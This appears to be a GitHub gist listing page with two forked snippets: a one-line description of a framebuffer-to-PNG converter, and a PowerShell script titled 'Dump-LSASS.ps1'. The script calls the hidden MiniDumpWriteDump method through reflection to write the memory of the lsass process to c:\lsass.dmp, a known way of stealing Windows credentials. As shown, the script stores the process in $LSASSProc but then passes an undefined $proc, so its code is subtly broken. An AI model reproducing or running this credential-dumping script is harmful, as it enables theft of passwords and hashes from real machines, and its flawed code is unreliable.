Skip to content

Instantly share code, notes, and snippets.

@T0w3ntum
T0w3ntum / Framebuffer to PNG
Created February 20, 2018 20:11 — forked from JakubVanek/ Framebuffer to PNG
Convert raw BGRA framebuffer to RGB png file
This program can be used to convert raw BGRA 8888 framebuffer to standard PNG file.
@T0w3ntum
T0w3ntum / Dump-LSASS.ps1
Created March 20, 2017 00:34 — forked from natesubra/Dump-LSASS.ps1
LSASS minidump
$LSASSProc = Get-Process lsass
$FileStream = New-Object IO.FileStream('c:\lsass.dmp', [IO.FileMode]::Create)
$Result = ((([PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')).GetNestedType('NativeMethods', 'NonPublic')).GetMethod('MiniDumpWriteDump', ([Reflection.BindingFlags] 'NonPublic, Static'))).Invoke($null,@($proc.Handle,$proc.Id,$FileStream.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))
$FileStream.Close()